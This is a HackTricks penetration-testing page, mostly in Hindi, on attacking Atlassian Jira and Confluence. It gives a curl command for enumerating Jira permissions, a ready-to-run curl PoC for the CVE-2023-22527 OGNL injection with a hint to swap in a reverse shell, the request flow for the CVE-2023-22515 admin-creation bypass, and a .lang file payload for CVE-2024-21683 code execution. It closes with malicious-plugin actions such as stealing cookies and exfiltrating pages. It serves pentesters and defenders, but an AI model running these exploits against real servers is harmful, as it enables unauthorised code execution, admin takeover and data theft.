Jira & Confluence
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
अनुमतियाँ जांचें
Jira में, किसी भी उपयोगकर्ता, प्रमाणीकृत हो या नहीं, द्वारा /rest/api/2/mypermissions या /rest/api/3/mypermissions endpoints के माध्यम से अनुमतियाँ जाँच की जा सकती हैं। ये endpoints उपयोगकर्ता की वर्तमान अनुमतियों को प्रकट करते हैं। एक महत्वपूर्ण चिंता तब उत्पन्न होती है जब अप्रमाणीकृत उपयोगकर्ताओं के पास अनुमतियाँ हों, जो एक सुरक्षा कमजोरी की ओर इशारा करता है और संभवतः bounty के लिए योग्य हो सकता है। इसी तरह, प्रमाणीकृत उपयोगकर्ताओं के लिए अनपेक्षित अनुमतियाँ भी एक कमजोरी को उजागर करती हैं।
एक महत्वपूर्ण अपडेट 1st February 2019 को किया गया था, जिसने ‘mypermissions’ endpoint के लिए ‘permission’ parameter शामिल करने की आवश्यकता रखी। यह आवश्यकता पूछी जा रही अनुमतियों को निर्दिष्ट करके सुरक्षा बढ़ाने का उद्देश्य रखती है: check it here
- ADD_COMMENTS
- ADMINISTER
- ADMINISTER_PROJECTS
- ASSIGNABLE_USER
- ASSIGN_ISSUES
- BROWSE_PROJECTS
- BULK_CHANGE
- CLOSE_ISSUES
- CREATE_ATTACHMENTS
- CREATE_ISSUES
- CREATE_PROJECT
- CREATE_SHARED_OBJECTS
- DELETE_ALL_ATTACHMENTS
- DELETE_ALL_COMMENTS
- DELETE_ALL_WORKLOGS
- DELETE_ISSUES
- DELETE_OWN_ATTACHMENTS
- DELETE_OWN_COMMENTS
- DELETE_OWN_WORKLOGS
- EDIT_ALL_COMMENTS
- EDIT_ALL_WORKLOGS
- EDIT_ISSUES
- EDIT_OWN_COMMENTS
- EDIT_OWN_WORKLOGS
- LINK_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION
- MANAGE_WATCHERS
- MODIFY_REPORTER
- MOVE_ISSUES
- RESOLVE_ISSUES
- SCHEDULE_ISSUES
- SET_ISSUE_SECURITY
- SYSTEM_ADMIN
- TRANSITION_ISSUES
- USER_PICKER
- VIEW_AGGREGATED_DATA
- VIEW_DEV_TOOLS
- VIEW_READONLY_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS
- WORK_ON_ISSUES
उदाहरण: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
स्वचालित enumeration
हालिया RCEs & व्यावहारिक exploit notes (Confluence)
CVE-2023-22527 – अप्रमाणीकृत template/OGNL injection (10.0)
- Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5 को प्रभावित करता है। कमजोर Velocity template
text-inline.vmबिना प्रमाणीकरण के OGNL evaluation की अनुमति देता है। - त्वरित PoC (कमांड confluence user के रूप में चलता है):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
- Response header
x-cmdमें command output होगा।idको reverse shell payload से बदलें। - Scanner: nuclei template
http/cves/2023/CVE-2023-22527.yaml(nuclei-templates ≥9.7.5 में शामिल)।
CVE-2023-22515 – setup पुनः सक्रियकरण से admin खाता निर्माण (auth bypass)
- सार्वजनिक रूप से पहुँच योग्य Confluence Data Center/Server 8.0.0–8.5.1
setupCompleteको toggle करने और/setup/setupadministrator.actionको पुनः चलाकर नया admin account बनाने की अनुमति देता है। - Minimal exploit flow:
GET /server-info.action(unauthenticated) से पहुँच सुनिश्चित करें।POST /server-info.actionकोbuildNumberपैरामीटर के साथ भेजें ताकि setup flag toggle हो सके।POST /setup/setupadministrator.actionकोfullName,email,username,password,confirmके साथ भेजकर एक admin बनाएं।
CVE-2024-21683 – authenticated RCE via Code Macro upload
- Confluence Admin Configure Code Macro में crafted language definition अपलोड कर सकता है; Rhino engine embedded Java को execute करता है, जिससे RCE होता है।
- Shell के लिए, ऐसी
.langफ़ाइल अपलोड करें जिसमें निम्न payload हो:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
- किसी भी Code Macro बॉडी में दुर्भावनापूर्ण भाषा चुनने पर ट्रिगर करें। Metasploit module
exploit/multi/http/atlassian_confluence_rce_cve_2024_21683auth + upload + exec को automate करता है।
Atlasian Plugins
जैसा कि इस blog में बताया गया है, Plugin modules ↗ के दस्तावेज़ में विभिन्न प्रकार के plugins की जांच करना संभव है, जैसे:
- REST Plugin Module ↗: RESTful API endpoints प्रदर्शित करता है
- Servlet Plugin Module ↗: एक plugin के हिस्से के रूप में Java servlets को deploy करता है
- Macro Plugin Module ↗: Confluence Macros को implement करता है, यानी parameterised HTML templates
This is an example of the macro plugin type:
Macro plugin उदाहरण
```java package com.atlassian.tutorial.macro;import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;
import java.util.Map;
public class helloworld implements Macro {
public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“
Hello “ + map.get(“Name”) + “!
”); } else { return “Hello World!
”;
}
}
public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } }
</details>
यह देखा जा सकता है कि ये plugins आम वेब vulnerabilities जैसे XSS के प्रति संवेदनशील हो सकते हैं। उदाहरण के लिए पिछला उदाहरण vulnerable है क्योंकि यह उपयोगकर्ता द्वारा दिया गया डेटा वापस प्रदर्शित कर रहा है।
Once a XSS is found, in [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) you can find some payloads to increase the impact of the XSS.
## बैकडोर Plugin
[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) विभिन्न (malicious) actions का वर्णन करता है जो एक malicious Jira plugin कर सकता है। आप [**code example in this repo**](https://github.com/cyllective/malfluence) में code example पा सकते हैं।
ये कुछ actions हैं जो एक malicious plugin कर सकता है:
- **Hiding Plugins from Admins**: आप कुछ front-end javascript inject करके malicious plugin को छिपा सकते हैं
- **Exfiltrating Attachments and Pages**: यह सभी data तक पहुँचने और उन्हें exfiltrate करने की अनुमति दे सकता है।
- **Stealing Session Tokens**: एक ऐसा endpoint जोड़ें जो response में headers (with the cookie) echo करे और कुछ javascript जो इसे contact करे और cookies को leak करे।
- **Command Execution**: बेशक ऐसा plugin बनाया जा सकता है जो code execute करेगा।
- **Reverse Shell**: या reverse shell प्राप्त किया जा सकता है।
- **DOM Proxying**: यदि Confluence एक private network के अंदर है, तो इससे access रखने वाले किसी user के browser के माध्यम से connection स्थापित करना संभव होगा और उदाहरण के लिए server से contact करके उसके माध्यम से command execute कराना संभव होगा।
## संदर्भ
- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure हैकिंग सीखें और अभ्यास करें: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks का समर्थन करें</summary>
>
> - [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
> - **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो करें।**
> - **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
>
> </details>


